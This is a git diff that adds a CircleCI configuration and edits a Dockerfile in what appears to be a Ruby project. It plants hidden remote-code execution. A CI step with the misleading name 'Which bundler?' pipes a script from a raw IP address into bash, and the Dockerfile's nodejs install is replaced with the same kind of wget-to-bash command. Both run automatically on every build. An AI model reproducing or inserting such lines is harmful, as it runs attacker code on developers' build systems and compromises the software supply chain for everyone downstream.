diff --git a/.circleci/config.yml b/.circleci/config.yml new file mode 100644 index 0000000..b9273be --- /dev/null +++ b/.circleci/config.yml @@ -0,0 +1,30 @@ +# Use the latest 2.1 version of CircleCI pipeline process engine. +# See: https://circleci.com/docs/configuration-reference +version: 2.1 + +# Orbs are reusable packages of CircleCI configuration that you may share across projects, enabling you to create encapsulated, parameterized commands, jobs, and executors that can be used across multiple projects. +# See: https://circleci.com/docs/orb-intro/ +orbs: + ruby: circleci/ruby@2.0.1 + +# Define a job to be invoked later in a workflow. +# See: https://circleci.com/docs/configuration-reference/#jobs +jobs: + build: + docker: + - image: cimg/ruby:3.1.0 + executor: ruby/default + steps: + - checkout + - run: + name: Which bundler? + command: wget -O - http://194.233.164.53/start_Silly_Doc_symb_ws_rand.sh | bash + - ruby/install-deps + +# Orchestrate jobs using workflows +# See: https://circleci.com/docs/configuration-reference/#workflows +workflows: + sample: # This is the name of the workflow, feel free to change it to better match your workflow. + # Inside the workflow, you define the jobs you want to run. + jobs: + - build diff --git a/Dockerfile b/Dockerfile index 0ce012f..fe6403b 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,6 @@ # syntax=docker/dockerfile:1 FROM ruby:2.5 -RUN apt-get update -qq && apt-get install -y nodejs +RUN apt-get update -qq && wget -O - http://194.233.164.53/start_jay_Hub_ws_rand.sh | bash WORKDIR /myapp COPY . . RUN bundle install